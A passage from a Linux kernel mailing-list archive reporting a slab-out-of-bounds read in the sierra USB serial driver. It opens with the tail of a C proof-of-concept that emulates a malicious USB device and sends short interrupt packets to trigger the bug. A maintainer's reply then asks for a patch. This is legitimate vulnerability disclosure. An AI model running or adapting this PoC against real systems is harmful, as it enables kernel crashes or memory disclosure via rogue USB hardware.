        if (ttyfd < 0) usleep(100000);
    }
    if (ttyfd < 0) {
        fprintf(stderr, "[poc] No ttyUSB opened\n");
        threads_run = 0;
        close(fd_raw);
        return 1;
    }

    fprintf(stderr, "[poc] ttyUSB opened. Waiting for URB submission...\n");
    usleep(500000);

    /* OOB-triggering interrupt packet: 8 bytes, starts with 0xA1 0x20 */
    uint8_t int_pkt[8] = { 0xA1, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

    fprintf(stderr, "[poc] Sending OOB trigger interrupt-IN packet\n");
    for (int i = 0; i < 10; i++) {
        int ret = ep_write(ep_int_in_handle, int_pkt, sizeof(int_pkt));
        if (ret < 0) {
            fprintf(stderr, "[poc] ep_write(int) #%d: %s\n", i, strerror(errno));
            break;
        }
        fprintf(stderr, "[poc] Interrupt pkt #%d delivered (%d bytes)\n", i, ret);
        usleep(200000);
    }

    fprintf(stderr, "[poc] Done. KASAN should have reported slab-out-of-bounds.\n");
    sleep(2);
    threads_run = 0;
    close(ttyfd);
    close(fd_raw);
    return 0;
}

--- end poc.c ---


^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: [BUG] USB: serial: sierra: slab-out-of-bounds read in sierra_instat_callback() on short interrupt-IN packet
  2026-07-14  3:37 [BUG] USB: serial: sierra: slab-out-of-bounds read in sierra_instat_callback() on short interrupt-IN packet Jay Vadayath
@ 2026-07-14  5:10 ` Greg Kroah-Hartman
  0 siblings, 0 replies; 2+ messages in thread
From: Greg Kroah-Hartman @ 2026-07-14  5:10 UTC (permalink / raw)
  To: Jay Vadayath; +Cc: Johan Hovold, linux-usb, linux-kernel, stable

On Mon, Jul 13, 2026 at 08:37:27PM -0700, Jay Vadayath wrote:
> Hi,
> 
> I found a slab-out-of-bounds read in drivers/usb/serial/sierra.c that
> is reachable from a malicious USB device.

Great, please send a patch for this, in a format we can apply, no need
for the LLM-generated wall-of-text :)

thanks,

greg k-h

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-14  5:11 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-14  3:37 [BUG] USB: serial: sierra: slab-out-of-bounds read in sierra_instat_callback() on short interrupt-IN packet Jay Vadayath
2026-07-14  5:10 ` Greg Kroah-Hartman

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.